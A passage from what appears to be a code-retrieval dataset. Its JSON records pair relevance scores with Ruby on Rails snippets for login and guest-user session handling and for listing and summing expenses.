"420996cca38b83dd62d3f5694e25a427", "score": "0.63085514", "text": "def user_logged_in\n if session[:just_logged_in] && !current_user.is_admin \n gon.display_login_popup = true\n \n session[:just_logged_in] = false\n end\n end", "title": "" }, { "docid": "464c267b6eed02cb4926bd931b9f3db4", "score": "0.63073516", "text": "def logging_in\n guest = guest_user\n current_cart = current_user.cart\n\n # if guest exists and the current_user does not already have a pending cart from previous session\n # then save all items in current cart into its own cart\n\n unless guest.nil? || !current_cart.items.empty?\n guest_cart = guest.cart\n current_cart.items.destroy_all unless current_user.cart.items.empty?\n current_cart.items = guest_cart.items\n current_cart.save!\n end\n end", "title": "" }, { "docid": "8da675a5c091a2f22540f876781cfa6e", "score": "0.63033795", "text": "def current_or_guest_user\n if current_user\n if cookies[:uuid]\n logging_in # Look at this method to see how handing over works\n guest_user.destroy # Stuff have been handed over. Guest isn't needed anymore.\n cookies.delete :uuid # The cookie is also irrelevant now\n end\n current_user\n else\n guest_user\n end\n end", "title": "" }, { "docid": "a1680975b202fb2bc7be100536650b3e", "score": "0.6285275", "text": "def transfer_guest_information\n\t if session[:guest_user_id]\n\t guest = User.find(session[:guest_user_id])\n\t guest.move_to(current_user)\n\t guest.destroy\n\t end\n\tend", "title": "" }, { "docid": "406cd7c9355d1769f82b0d24fc147ab1", "score": "0.6283019", "text": "def guest_user\n @guest_user ||= User.where(guest: true).first || super\n end", "title": "" }, { "docid": "4f7442e60c533821b63528091b9327dd", "score": "0.6280575", "text": "def check_user_before_membership\n if current_user\n ncm_membership = current_user.get_membership(@mother)\n epicenter = Epicenter.find_by_slug(params['epicenter_id'])\n\n if epicenter != @mother and not ncm_membership\n session[:new_ncm_membership] = { \n :epicenter_id => params['epicenter_id'], \n :membership_id => params['membership_id'],\n :t => Time.now\n }\n #\n redirect_to new_epicenter_subscription_path(@mother)\n end\n else\n # it's possible that we can put the logic from \"authenticate\" method below here\n redirect_to epicenters_path\n end\n end", "title": "" }, { "docid": "a02d28217dd41f2334d1067b2f8c51f3", "score": "0.6280348", "text": "def set_current_user\n \t\tif session[:user_id]\n \t\t\tCurrent.user = User.find_by(id: session[:user_id])\n \t\tend\n \tend", "title": "" }, { "docid": "f59ed632208d332df323a8eae674f488", "score": "0.62680846", "text": "def current_user\r\n super || guest_user\r\n end", "title": "" }, { "docid": "6a281a007b256c2905a83104191da5db", "score": "0.62546146", "text": "def setup \n @user = current_user\n end", "title": "" }, { "docid": "2ed064a5f79c98ae783a0f314c99cf6a", "score": "0.6241611", "text": "def current_or_guest_user\n if current_user\n if session[:guest_authentication_token] &&\n !current_user.matches_guest_authentication_token?(session[:guest_authentication_token])\n # transfer_guest_to_current_user\n guest_user(with_retry = false).try(:destroy)\n session[:guest_authentication_token] = nil\n end\n current_user\n else\n guest_user\n end\n end", "title": "" }, { "docid": "fde6cfdb97599b473a6b2158f6a699fd", "score": "0.62404865", "text": "def guest_user\n User.find(session[:guest_user_id].nil? ? session[:guest_user_id] = create_guest_user.id : session[:guest_user_id])\n end", "title": "" }, { "docid": "81cd64f48a7bb79cee38f67ef5efc386", "score": "0.6233512", "text": "def logged_in_user\n unless logged_in?\n store_location\n redirect_to root_url\n end\n end", "title": "" }, { "docid": "81cd64f48a7bb79cee38f67ef5efc386", "score": "0.6233512", "text": "def logged_in_user\n unless logged_in?\n store_location\n redirect_to root_url\n end\n end", "title": "" }, { "docid": "81cd64f48a7bb79cee38f67ef5efc386", "score": "0.6233375", "text": "def logged_in_user\n unless logged_in?\n store_location\n redirect_to root_url\n end\n end", "title": "" }, { "docid": "6690221cebe79e47dca3d78a56bc5410", "score": "0.62197614", "text": "def current_user\n if session[:user_id] != nil\n user = User.find(session[:user_id])\n elsif session[:guest_id] != nil\n user = User.find(session[:guest_id])\n else\n user = User.new(name: \"Guest\", authenticated: false)\n user.save\n session[:guest_id] = user.id\n end\n return user\n end", "title": "" }, { "docid": "eaccc565583f50a4de0abfbedef1b1c2", "score": "0.62167406", "text": "def log_in\n end", "title": "" }, { "docid": "8e3e1b1b3bf823eca5e4cf399de24c9c", "score": "0.6208852", "text": "def current_user\n if devise_current_user\n if cookies[:guest_user_id]\n logging_in\n guest_user.destroy\n cookies.delete :guest_user_id\n end\n devise_current_user\n else\n guest_user\n end\n end", "title": "" }, { "docid": "b1ef24e07bc85c57fa3a21d2422a8d79", "score": "0.6202174", "text": "def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Admin Access Only.\"\n redirect_to login_url\n \n end\n end", "title": "" }, { "docid": "d5ea37b6d65248bc0bed8d9ac781ec0f", "score": "0.6198113", "text": "def logging_in\n current_user.todos = (current_user.todos + guest_user.todos)\n current_user.save\n end", "title": "" }, { "docid": "0cde5cdce89faab71a2cf38a84c52eee", "score": "0.6197358", "text": "def set_logged_in_user\n @logged_in_user = logged_in_user\n end", "title": "" }, { "docid": "c45ef52b541d3a4012a0843c59a12655", "score": "0.6196328", "text": "def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in first.\"\n redirect_to root_url\n end\n end", "title": "" }, { "docid": "58f9ddb6ce713e336a63fe642029dd86", "score": "0.6190157", "text": "def current_user\r\n super || guest_user\r\n end", "title": "" }, { "docid": "56f45ea8eaa64dec823594d4b5846a6d", "score": "0.6187228", "text": "def set_user; end", "title": "" }, { "docid": "26a8f488e1c225fb1ba91f9aff3e75a1", "score": "0.6186947", "text": "def custom_user_auth\n\t\t\tunless student_signed_in? || admin_signed_in?\n\t\t\t\tredirect_to root_path, notice: \"You have to sign in.\"\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "f92dffd6c9da5f817534671564a536ed", "score": "0.61855483", "text": "def set_user\n UserInfo.current_user = session[:user]\n end", "title": "" }, { "docid": "84d40efaa18043aaa92160f2ffe3d6c5", "score": "0.6183314", "text": "def guest_user\n User.find(session[:guest_user_id] ||= create_guest_user.id)\n\n rescue ActiveRecord::RecordNotFound # if session[:guest_user_id] invalid\n session[:guest_user_id] = nil\n guest_user\n end", "title": "" }, { "docid": "47d7123542bd3cf16ac6e55b02952f56", "score": "0.61756957", "text": "def logged_in_user\n if user_signed_in? then\n \n else\n redirect_to root_path\n end \n \n end", "title": "" }, { "docid": "9c0ad745c0303a453b68e3785201df3b", "score": "0.6173108", "text": "def logged_in_user\n unless current_user \n redirect_to root_path\n end\n end", "title": "" }, { "docid": "dd30b8aeba9760e7ef8102776447dfad", "score": "0.6163545", "text": "def loggedIn\n @user = current_user\nend", "title": "" }, { "docid": "d26bcb48cc62de41cd738fd9e867015c", "score": "0.61629766", "text": "def require_login\n if current_user\n gon.current_user_email = current_user.email\n gon.current_user_created_at = current_user.created_at.to_i\n gon.current_user_username = current_user.username.capitalize\n gon.current_user_id = current_user.id\n gon.current_user_coaching_intensity = current_user.preference.coaching_intensity\n gon.current_user_last_login_at = current_user.last_login_at\n\n else\n store_location\n flash[:notice] = \"You must be logged in to access this page\"\n redirect_to login_url\n end\n end", "title": "" }, { "docid": "2b67d6e56a719f24e1d81c79a3e1f51e", "score": "0.6162304", "text": "def guest_user\n \t# Cache the value the first time it's gotten.\n \t@cached_guest_user ||= User.find(session[:guest_user_id] ||= create_guest_user.id)\n\n rescue ActiveRecord::RecordNotFound #if (session[:guest_user_id] invalid\n \tsession[:guest_user_id] = nil\n \tguest_user\n end", "title": "" }, { "docid": "966c6f7592bef18ec57b7b223134f450", "score": "0.61614406", "text": "def logged_in_user\n\t\tunless logged_in?\n\t\t\tstore_location\n\t\t\tflash[:danger] = \"E' necessario accedere\"\n\t\t\tredirect_to login_url\n\t\tend\n\tend", "title": "" }, { "docid": "3cf6bd258ce6515d3d0b9b095a8bfc25", "score": "0.6158906", "text": "def current_or_guest_user\n Rails.logger.warn(\"current_or_guest_user is DEPRECATED - just use current_user\") \n current_user\n end", "title": "" }, { "docid": "4f5b881fdaf93595afcf7c160cb754fe", "score": "0.6157125", "text": "def current_user \n #will never return NIL, create a fake user\n #will return the super value (logged in user) OR the guest infos.\n super || guest_user\n end", "title": "" }, { "docid": "09c04764fc68cf4424be267cb94886dc", "score": "0.61561114", "text": "def autenticathe_login!\n unless someone_is_logged_in?\n store_location\n flash[:danger] = \"Por favor, Inicie sesion.\"\n redirect_to welcome_path\n end\n end", "title": "" } ]
809265b27b6cd55bba61f15e52df4aa9
to get recently added expenses
[ { "docid": "6123897eee988def16574f354d1909b4", "score": "0.70127827", "text": "def recent_expenses\n expenses.where('expended_at BETWEEN ? AND ?', Date.current.beginning_of_month, Date.current.end_of_month).order(expended_at: :desc).limit(5) \n end", "title": "" } ]
[ { "docid": "0832a9814b53f9cf7a2f8002029f0ff6", "score": "0.71511954", "text": "def expenses_this_month \n self.get_specific_expenses(30)\n end", "title": "" }, { "docid": "3c30f400c8978e42dabbccdb0151e839", "score": "0.712136", "text": "def expenses_this_week \n self.get_specific_expenses(7)\n end", "title": "" }, { "docid": "c7bd3b0d51d666c1c3bc77040cd9917d", "score": "0.7002347", "text": "def expenses\n @expenses ||= Harvest::API::Expenses.new(credentials)\n end", "title": "" }, { "docid": "de051ed675c00b025f23b4d77258e416", "score": "0.6940042", "text": "def index\n @expenses = current_user.expenses.order(created_at: :desc)\n end", "title": "" }, { "docid": "787ad1979a4000a1e3e0999da2ac7b1b", "score": "0.67884994", "text": "def get_specific_expenses(duration)\n self.expenses.select {|expense| expense.logged_on.within_last?(duration)}\n end", "title": "" }, { "docid": "b424f7bec89f0937042dcb0a23bebdbf", "score": "0.67656493", "text": "def expenses_this_year \n self.get_specific_expenses(365)\n end", "title": "" }, { "docid": "f2bff257296055d30f6df2e1352da208", "score": "0.67150325", "text": "def list_expenses\n # Execute a query to retrieve all rows from the expenses table, ordered\n # from oldest to newest\n result = @db.exec \"SELECT * FROM expenses ORDER BY created_on, id;\"\n\n # # Iterate through each result row and print it to the screen\n # result.each do |row|\n # puts \"#{row[\"id\"].rjust(3)} | #{row[\"created_on\"]} | #{row[\"amount\"].rjust(10)} | #{row[\"memo\"]}\"\n # end\n display_expenses(result)\n end", "title": "" }, { "docid": "9ad67b2f07257a138ea96c31a94cfda0", "score": "0.6701814", "text": "def index\n @expenses = current_account.expenses\n end", "title": "" }, { "docid": "8d13b192ad6c2a4f4db7d7ce3cf3fbcd", "score": "0.66372055", "text": "def index\n @expenses = current_user.expenses\n end", "title": "" }, { "docid": "937cd2596a42a3b5cad916549dbfc4ee", "score": "0.64994156", "text": "def index\n @expenses = Expense.all.sort_by { |e| e.date }.reverse\n end", "title": "" }, { "docid": "1b1a91b484e163ca3aaae61d4ae070a1", "score": "0.6440092", "text": "def expenses\n raise NotImplementedError\n end", "title": "" }, { "docid": "860886cb5ff608d3d40b5791c34491ef", "score": "0.64388263", "text": "def charts\n @expenses = current_user.expenses.order(date: :desc)\n end", "title": "" }, { "docid": "b9634b52d718521b435865399d2ca649", "score": "0.6385043", "text": "def get_expenses( time_interval )\n assert_object_is_not_null( time_interval )\n assert_type_of_object( time_interval, Hash )\n expenses = insert_expenses_functions( time_interval[ :begin ],\n time_interval[ :end ] )\n assert_object_is_not_null( expenses )\n\n return expenses\n end", "title": "" }, { "docid": "79064fee82065921286dfbae881b7742", "score": "0.63447607", "text": "def index\n @expenses = Expense.all.order('day DESC').page(params[:page]).per(12)\n end", "title": "" }, { "docid": "aeb0c134cc9e5c3dfbf08efd5cff5349", "score": "0.63230246", "text": "def index\n @expenses = Expense.all.where(user: current_user)\n end", "title": "" }, { "docid": "7aa4195a07cecfff740d17bdd61f1bd6", "score": "0.6289857", "text": "def index\n @expenses = Expense.all_for_user(current_user)\n end", "title": "" }, { "docid": "7aeaab7aeab89eddcc5930d304356aa4", "score": "0.6275644", "text": "def monthly_expenses\n # gets expense based on year month \n # gets expenses based on month \n @year_month_expenses = Expense.get_monthly_and_year_expenses\n @monthly_expenses = Expense.get_monthly_expenses\n\n # getting all the expenses \n @total_expenses = Expense.get_expenses\n # getting all expenses for taxes only\n @total_tax_amount = Expense.tax_amount_total\n # getting all expense before taxes apply \n @total_pre_tax_amount = Expense.get_pre_tax_amount_total\n end", "title": "" }, { "docid": "22ea52b79e678e7a23be8818f35fcbdc", "score": "0.6249639", "text": "def index\n @expenses = @event.expenses.where(approved: true)\n end", "title": "" }, { "docid": "bb1fc21fe1809a49b0865cb971c06108", "score": "0.62443995", "text": "def expense\n return nil unless @node[\"ledger\"][\"lastyearexpense\"]\n Hash[%W[\n advisors_maint\n interest\n state_maint\n ?3\n subsidies\n war_reparations\n army_maint\n fleet_maint\n fort_maitnt\n colonies\n missionaries\n army_build\n fleet_build\n fort_build\n buildings\n ?15\n repaid_loans\n gift\n advisor_hire\n events\n peace\n vassal_fee\n outgoing_tariffs\n ?23\n ?24\n ?25\n ?26\n root_out_corruption\n embrace_institutions\n great_power_actions\n knowledge_sharing\n ].zip(@node[\"ledger\"][\"lastyearexpense\"])]\n end", "title": "" }, { "docid": "a05070380e42e07835e416accdc4b268", "score": "0.6235478", "text": "def index\n @expenses = Expense.all\n end", "title": "" }, { "docid": "a05070380e42e07835e416accdc4b268", "score": "0.6235478", "text": "def index\n @expenses = Expense.all\n end", "title": "" }, { "docid": "a05070380e42e07835e416accdc4b268", "score": "0.6235478", "text": "def index\n @expenses = Expense.all\n end", "title": "" }, { "docid": "ed0f2dcd41e536c4e450dddd0bc3d766", "score": "0.6174522", "text": "def expenses\n section, section_name = get_section_id_and_name\n merge_subtotals(data_grid, year, section)\n end", "title": "" }, { "docid": "a1d6255a700391b790ab89ff19d8146d", "score": "0.61729836", "text": "def index\n #TO DO make debtors for each expense\n @expenses = @scope.all\n end", "title": "" }, { "docid": "c9b93b5659608868cb0ce9e3d133e911", "score": "0.6167981", "text": "def index\n @user = User.find(params[:user_id])\n @expenses = @user.expenses.all\n \n end", "title": "" }, { "docid": "164913baf1ddc23cfc647a6c6c14c967", "score": "0.61587334", "text": "def index\n @expenses = Expense.all\n @user = current_user\n my_expenses\n sum_expenses\n @month_wise_sorted_alerts = @expenses.group_by { |t| t.created_at.month }\n @august = Expense.where(\"cast(strftime('%m', created_at) as int) = ?\", '08')\n end", "title": "" }, { "docid": "98eba12cd61901a0c2b5b835cbea89bb", "score": "0.61345905", "text": "def expansions\n @expansions = Expansion.order(\"release_date DESC\")\n end", "title": "" }, { "docid": "742ce28d5506a610352eed1229015eb8", "score": "0.6122209", "text": "def recently_expired_bets\n Bet.impermanent.where(\n \"expiration_date IS NOT NULL AND expiration_date >= ? AND expiration_date <= ?\",\n 90.minutes.ago,\n Time.zone.now,\n )\n end", "title": "" }, { "docid": "c13a143b643ac53c2ad566da843d4617", "score": "0.61186343", "text": "def index\r\n @expenses = Expense.all\r\n end", "title": "" }, { "docid": "a2526efc403826755e5ba86c104f5295", "score": "0.6111599", "text": "def index\n @operational_expenses = OperationalExpense.all\n end", "title": "" }, { "docid": "0f43a3554fb29d6091a709e92ca79ab8", "score": "0.6104011", "text": "def get_expense_details_for_status\n\t\ttotal_expenses_open = 0.0 \n\t\t@expense_entries = {}\n\t\t@expense_entries = @saved_expense_entries\n\t\tunless @expense_entries.empty?\n\t\t\t@expense_entries.each do |expe_entry|\t\t \t\t\n total_expenses_open += expe_entry.final_expense_amount\t\t\t \n end\n\t\tend\n @total_expenses_open = total_expenses_open.to_f.roundf2(2)\n\n return @total_expenses_open || 0.0\n\tend", "title": "" }, { "docid": "18c27e786cf5df791f4d57f5949e3276", "score": "0.6080096", "text": "def get_recent_vitals\n earliest = 2.years.ago\n vital_signs.timelimit(earliest).desc(:time)\n end", "title": "" }, { "docid": "678acc2ecd7be840b7c69e3e3adcdb06", "score": "0.60771245", "text": "def index\n @expenses = Expense.all.sort {|p,e|\n a = \"created_at\"\n p.send(a) <=> e.send(a)\n }.reverse\n end", "title": "" }, { "docid": "a5f518a7480f99c089b5bbbc4935c92d", "score": "0.60678905", "text": "def all_expense_items\n owing_expense_items + paid_expense_items\n end", "title": "" }, { "docid": "08fd9e3308115dd157b7a42b16d57163", "score": "0.60673976", "text": "def upcoming_exp equipments\n arr = []\n equipments.where(consumable: false).map{ |e| arr.concat e.detail.select{ |d| d.is_expired(3) } }\n return arr\n end", "title": "" }, { "docid": "4399b62d61a73665d5ac3a51e16cfe6d", "score": "0.6022119", "text": "def offenses; end", "title": "" }, { "docid": "4399b62d61a73665d5ac3a51e16cfe6d", "score": "0.6022119", "text": "def offenses; end", "title": "" }, { "docid": "4399b62d61a73665d5ac3a51e16cfe6d", "score": "0.6022119", "text": "def offenses; end", "title": "" }, { "docid": "c2175933fc20fb17e7f9e88043f30bb7", "score": "0.6002422", "text": "def index\n @expenses_pending = Expense.where(status: 'pending')\n @expenses_approved = Expense.where(status: 'approved')\n end", "title": "" }, { "docid": "e4ace886940faf91bdc4a3366b2ba377", "score": "0.5981741", "text": "def find_expirations(days)\n expiration_date = solrize_date(@date + days.send(:days))\n Etd.where(\"embargo_release_date_dtsi:#{expiration_date}\")\n end", "title": "" }, { "docid": "74a73c5880ac54bebd95915784eb18aa", "score": "0.5966762", "text": "def expenses\n # The total amounts for service/programme/chapter headings is shown when the subtotal is closed,\n # not opened, so we need to keep track of the open ones, and print them when closed.\n # Note: there is an unmatched closing amount, without an opening subtotal header, at the end\n # of the page, containing the amount for the whole section/entity, so we don't start with\n # an empty vector here, we add the 'missing' opening line\n open_subtotals = [{\n year: year,\n section: section,\n service: is_state_entity? ? '' : entity,\n description: name\n }]\n\n merge_subtotals(data_grid, year, section, open_subtotals)\n end", "title": "" }, { "docid": "a08c88395f5583ad6e82a36e16ae7810", "score": "0.5960551", "text": "def index\n @actual_expenses = ActualExpense.all\n end", "title": "" }, { "docid": "3535a3a94e93adee83afeafe03464b99", "score": "0.5944884", "text": "def calorie_expenditure(date = Time.zone.now.to_date)\n date = Time.zone.parse(date.to_s)\n a = user_activities.find(:all, :conditions => ['activity_date BETWEEN ? and ?', date.beginning_of_day.utc, date.end_of_day.utc])\n return a.inject(0) { |s,activity| s += activity.calories }\n end", "title": "" }, { "docid": "1636c4af17dff23cdf88170c2e53d92a", "score": "0.59395635", "text": "def total_expenses\n sum_expenses(self.expenses)\n end", "title": "" }, { "docid": "613a25cd985c1817cbf322cda3d09faf", "score": "0.5933264", "text": "def now_exp\n @exp - @exp_list[@level];\n end", "title": "" }, { "docid": "ea8339f36b3ff6823991b7888b9c355b", "score": "0.59277284", "text": "def offenses_by; end", "title": "" }, { "docid": "eea6b1c1a84e43071e68c9d1c7e62fb9", "score": "0.59110314", "text": "def index\n @expenses = current_user.couple.expenses\n load_users\n end", "title": "" }, { "docid": "a520ee1350f0f24c537ae26adfb3c873", "score": "0.59051955", "text": "def total_expenses\n self.dig_for_decimal(\"totalExpenses\")\n end", "title": "" }, { "docid": "b800e4927b0eb781d64f022a4a08bcee", "score": "0.589545", "text": "def get_category_expenses_for_current_month\n\t\ttransactions = @user.transactions.with_month_year(@month, @year)\t\t\n\t\ttotal_expense_current_month = transactions.expenses.map{|t| t.amount}.sum.to_f.round(2)\n\t\tcategory_expenses = []\n\t\ttransactions.expenses.group_by{|t| t.category.name}.each do |category, expenses|\n\t\t\tcategory_expenses << {\t'category' => category,\n\t\t\t\t'percent' => (expenses.flatten.map{|t| t.amount}.sum * 100 / total_expense_current_month).to_f.round(2),\n\t\t\t\t'amount' => expenses.flatten.map{|t| t.amount}.sum\n\t\t\t}\n\t\tend\n\t\treturn category_expenses\n\tend", "title": "" }, { "docid": "68b127e1750ea800f3f8546d5519921b", "score": "0.5892691", "text": "def show\n @expenses = @budget.expenses.in_period(@budget.start_date..@budget.end_date).order(expense_date: :desc)\n @burndown = @budget.daily_value * (@budget.end_date - @budget.start_date + 1)\n end", "title": "" }, { "docid": "fb21994eb9ae5d65e4a531eba287c004", "score": "0.58862054", "text": "def now_exp\r\n return @exp - @exp_list[@level]\r\n end", "title": "" }, { "docid": "9e5d83707f0505f759bb9de07e631eda", "score": "0.5846766", "text": "def siblings\n upload.expenses\n end", "title": "" }, { "docid": "6fbebd53e1112dc19f42bbb9f8adab56", "score": "0.5840893", "text": "def monthly_expenses\n expenses.group(:expended_at).sum(:amount).to_a.map{ |k,v| [ k.strftime('%v'), v ] }\n end", "title": "" }, { "docid": "4969bc98e478b7d92a205880f2c13926", "score": "0.58326745", "text": "def now_exp\n return @exp - @exp_list[@level]\n end", "title": "" }, { "docid": "4969bc98e478b7d92a205880f2c13926", "score": "0.58326745", "text": "def now_exp\n return @exp - @exp_list[@level]\n end", "title": "" }, { "docid": "b4aa9a3378f238953d34c1bb00739294", "score": "0.5832385", "text": "def index\n @expenses = Expense.this_month.order(:created_at)\n @sum, @avg = sum_expenses(@expenses)\n end", "title": "" }, { "docid": "fc7b8970e606de2e12113d6f084010de", "score": "0.5826053", "text": "def index\n @expenses = Expense.all\n @expense = Expense.new\n end", "title": "" }, { "docid": "3a1e09ae0f02db4362c4c46dadab0bd5", "score": "0.5814148", "text": "def index\n @office_expenses = OfficeExpense.all\n end", "title": "" }, { "docid": "1f8786ebe110cf6811666e18c02af54d", "score": "0.5798862", "text": "def index\n @exspenses = Exspense.all\n end", "title": "" }, { "docid": "2e9f5011e89ebe76410586e49e49c7b7", "score": "0.5793572", "text": "def now_exp\n return (@exp - @exp_list[@level])\n end", "title": "" }, { "docid": "2e9f5011e89ebe76410586e49e49c7b7", "score": "0.5793572", "text": "def now_exp\n return (@exp - @exp_list[@level])\n end", "title": "" }, { "docid": "992e4e3a0a0517016d329e967ed337a4", "score": "0.57799876", "text": "def recent_earned_points\n return earnings_without_cancel.\n where('created_at >= ?', Date.today - 90).sum('points')\n end", "title": "" }, { "docid": "50b0f7bf434159c4a121600fa4edaf61", "score": "0.5779021", "text": "def index\n @mexpenses = Mexpense.order(date: :desc, balance: :desc)\n end", "title": "" }, { "docid": "f459a2da5a35d25f57ddbbe0d2143ea9", "score": "0.5763634", "text": "def get_current_calories(user)\n cals = 0\n meals = grab_meals_from_today(user.meals)\n meals.each do |meal|\n cals += meal.calories\n end\n @current_calories = cals\n end", "title": "" }, { "docid": "910c5d9d8d8df1e4e584243a7d98c6cb", "score": "0.57611", "text": "def index\n q_params = {}\n q_params.merge! params.permit(:state)\n\n @expenses = current_member.created_expenses.default_where(q_params).page(params[:page])\n end", "title": "" }, { "docid": "ed388942b0dd1b5cc5ba5d08c352bec5", "score": "0.57597417", "text": "def index\n @expenses = Expense.all\n unless current_user\n redirect_to root_url\n end\n end", "title": "" }, { "docid": "64dde2b604f050da8f4951075e9f20ae", "score": "0.57568955", "text": "def expenses(group=nil)\n expenses = debts + credits\n return (group.present?) ? expenses.select { |e| e.group == group } : expenses\n end", "title": "" }, { "docid": "4f3f2941fce3a3585c35e03d095d1aa3", "score": "0.5753227", "text": "def index\n @general_expenses = if current_user.admin?\n GeneralExpense.order(created_at: :desc).paginate(page: params[:page])\n else\n current_user.general_expenses.order(created_at: :desc).paginate(page: params[:page])\n end\n end", "title": "" }, { "docid": "f44424738ed67d8db3ca48af818617c8", "score": "0.57487446", "text": "def index\n @expenses = Expense.all\n super\n flash.discard(:notice)\n end", "title": "" }, { "docid": "fd25190a97811449d53a413f211b6c9b", "score": "0.5748142", "text": "def index\n @api_v1_initiative_expenses = Api::V1::InitiativeExpense.all\n end", "title": "" }, { "docid": "25643ae8f9512519c30fc19f581a53b8", "score": "0.5742185", "text": "def index\n @expense = Expense.new\n if current_user\n @expenses = @current_user_expenses.where('date >= ? AND date <= ?',\n DateTime.now.beginning_of_month,\n DateTime.now.end_of_month).order(\"date DESC\")\n @yearly_expenses = @current_user_expenses.where('date >= ? AND date <= ?',\n DateTime.now.beginning_of_year,\n DateTime.now).order(\"date DESC\")\n if params[:year] \n @expenses = @current_user_expenses.year(params[:year]).order(\"date DESC\")\n end\n if params[:month] \n @expenses = @expenses.month(params[:month]).order(\"date DESC\")\n end\n unless params[:year] == \"\" || params[:year] == nil\n @yearly_expenses = @current_user_expenses.year(params[:year]).order(\"date DESC\")\n end\n @dates = @yearly_expenses.all.select(\"date\").map{ |i| i.date.month }.uniq\n @years = @current_user_expenses.all.select(\"date\").map{ |i| i.date.year }.uniq\n end\n @payments = Payment.all\n end", "title": "" }, { "docid": "f0eddcebd79b81a4ebeb1b3794dd0962", "score": "0.5736788", "text": "def historic\n end", "title": "" }, { "docid": "436f866becaf016ae6430c7cb59e8a2b", "score": "0.5715868", "text": "def index\n @expeditions = current_user.expeditions.includes(:visits => { graveyard: :county} )\n end", "title": "" }, { "docid": "595194726d33bebbf374fce35e30c6cc", "score": "0.5708109", "text": "def retrieval_histories\n if context[:days].to_i > 0\n model.retrieval_histories.after_days(context[:days].to_i)\n elsif context[:months].to_i > 0\n model.retrieval_histories.after_months(context[:months].to_i)\n elsif context[:year].to_i > 0\n model.retrieval_histories.until_year(context[:year].to_i)\n else\n model.retrieval_histories\n end\n end", "title": "" }, { "docid": "43a0a5d04491b7eb881987626de4d6b4", "score": "0.56993854", "text": "def expense_list\n @start_date = params[:expense][:start_date].to_date\n @end_date = params[:expense][:end_date].to_date\n if @end_date.nil? || @start_date.nil?\n flash[:alert] = t('expense_error')\n render 'view_expense'\n else\n @expenses ||= FinanceTransaction.list(@start_date, @end_date)\n end\n authorize! :read, @expenses.first unless @expenses.nil?\n end", "title": "" }, { "docid": "90292444afe456a8dbed6918b2b384c2", "score": "0.5692985", "text": "def list_expenses\n\n # Execute a query to retrieve all rows from the expenses table, ordered\n # from oldest to newest\n result = DB.exec \"SELECT * FROM expenses ORDER BY created_on;\"\n\n # Iterate through each result row and print it to the screen\n result.each do |row|\n puts \"#{row[\"id\"].rjust(3)} | #{row[\"created_on\"]} | #{row[\"amount\"].rjust(10)} | #{row[\"memo\"]}\"\n end\nend", "title": "" }, { "docid": "99236259faa5864f8d785234db52bf95", "score": "0.5684441", "text": "def index\n @expenses = Expense.all\n # getting all the expenses for all employees\n @total_expenses = Expense.get_expenses\n # getting all expenses for taxes only\n @total_tax_amount = Expense.tax_amount_total\n # getting all expesne \n @total_pre_tax_amount = Expense.get_pre_tax_amount_total\n end", "title": "" }, { "docid": "2409bef4fb2bba6eeb6fdafcfb37583d", "score": "0.5683051", "text": "def index\n @expense_entries = ExpenseEntry.all\n end", "title": "" }, { "docid": "acf93fd9445c5fcfbd1acb4f96e142b5", "score": "0.5661908", "text": "def index\n if current_user.is?(:general_manager)\n @expenses = Expense.waiting_general_manager_approval\n @expenses += Expense.waiting_manager_approval.find_all_by_organization_id current_user.under_organizations\n else\n @expenses = Expense.waiting_manager_approval.find_all_by_organization_id current_user.under_organizations\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @expenses }\n end\n end", "title": "" }, { "docid": "7316e354a461214b6b3ac381aaa47293", "score": "0.56575805", "text": "def index\n @expenses = load_budget.expenses.paginate(page: params[:page]).order( sort_column + \" \" + sort_direction )\n end", "title": "" }, { "docid": "ca61d465a7422c322d5fadb9d44e460c", "score": "0.56463623", "text": "def index\n @expense_categories = current_user.expense_categories.all.order('updated_at DESC')\n end", "title": "" }, { "docid": "013dab6e435d6ffb933cd94a48110135", "score": "0.56382054", "text": "def index\n @expires = Expire.all\n end", "title": "" }, { "docid": "d822e7a2eababc9a66899622037e1aba", "score": "0.563424", "text": "def show\n @group_expenses = @group.expenses.includes(:groupedtransactions, :groups, :author).ordered_by_most_recent\n end", "title": "" }, { "docid": "6e66b05317607a070c56f2d490f4ef9b", "score": "0.56321114", "text": "def index\n @erp_operating_expenses = ErpOperatingExpense.all\n end", "title": "" }, { "docid": "e5fcae23a7f9b7e060da4ff30a5c4145", "score": "0.56176555", "text": "def GetExpensesPerYear(user)\n\n # Store expenses related to the user for the given year\n list_expenses = Array.new\n # Store statistics per month\n @list_statistics = Array.new\n\n # Initialize month's list \n for i in 1..12\n statistic = Statistic.new\n statistic.month = i\n @list_statistics.push statistic\n end\n\n if user.user_type ==\"admin\"\n allexpenses = Expense.all\n else\n allexpenses = user.expenses\n end\n\n # Push related expenses into list using year and user id\n allexpenses.each do |expense|\n\n if (ExtractYear(expense.expense_date).to_s == @year.to_s) and (expense.user_id.to_s == @id_user.to_s)\n list_expenses.push expense\n end\n\n end\n\n # Update Statistic object with required details picked from expenses\n # for related month\n list_expenses.each do |single_expense|\n current_month = ExtractMonth(single_expense)\n\n if single_expense.approved == \"approved\" then\n @list_statistics[current_month-1].totalAmount += single_expense.amount\n @list_statistics[current_month-1].sumApproved += 1\n elsif single_expense.approved == \"declined\" then\n @list_statistics[current_month-1].sumDeclined += 1\n else\n @list_statistics[current_month-1].sumWaiting += 1\n end\n\n end\n\n # Change month number by month name\n @list_statistics.each do |month_static|\n SetMonthName(month_static)\n end\n\n # Return required list\n @list_statistics\n\n end", "title": "" }, { "docid": "99ba479fd8cdc5993db7d643576db670", "score": "0.5611971", "text": "def total_exp(expenses)\n total = 0\n expenses.each do |price|\n total = total + price\n end\n return total\nend", "title": "" }, { "docid": "6ca704ce505eb1039da887cb3729fb14", "score": "0.5606427", "text": "def index\n @expense_entry ||= current_user.expense_entries.build(\n :tdate => Date.today\n )\n \n @expense_entries = current_firm.all_expense_entries\n\n respond_to do |format|\n format.html { render :index }# index.html.erb\n format.json { render json: @expense_entries }\n end\n end", "title": "" }, { "docid": "6c66b7e167a47c51d561c0a1fadef471", "score": "0.55901533", "text": "def index\n if current_user.has_role?('admin', current_mine)\n @expenses = Expense.where(mine_id: current_mine.id, status: 'pending').order('created_at DESC').by_month\n else\n @expenses = Expense.where(mine_id: current_mine.id, status: 'approved').order('created_at DESC').by_month\n end\n @expense_requests = Expense.where(mine_id: current_mine.id).order('created_at DESC').by_month\n gon.watch.expenses = @expenses\n @tunnels = @current_mine.tunnels;\n respond_to do |format|\n format.html \n format.json { render json: @expenses.as_json(:include => [:tunnels, :user] ) }\n 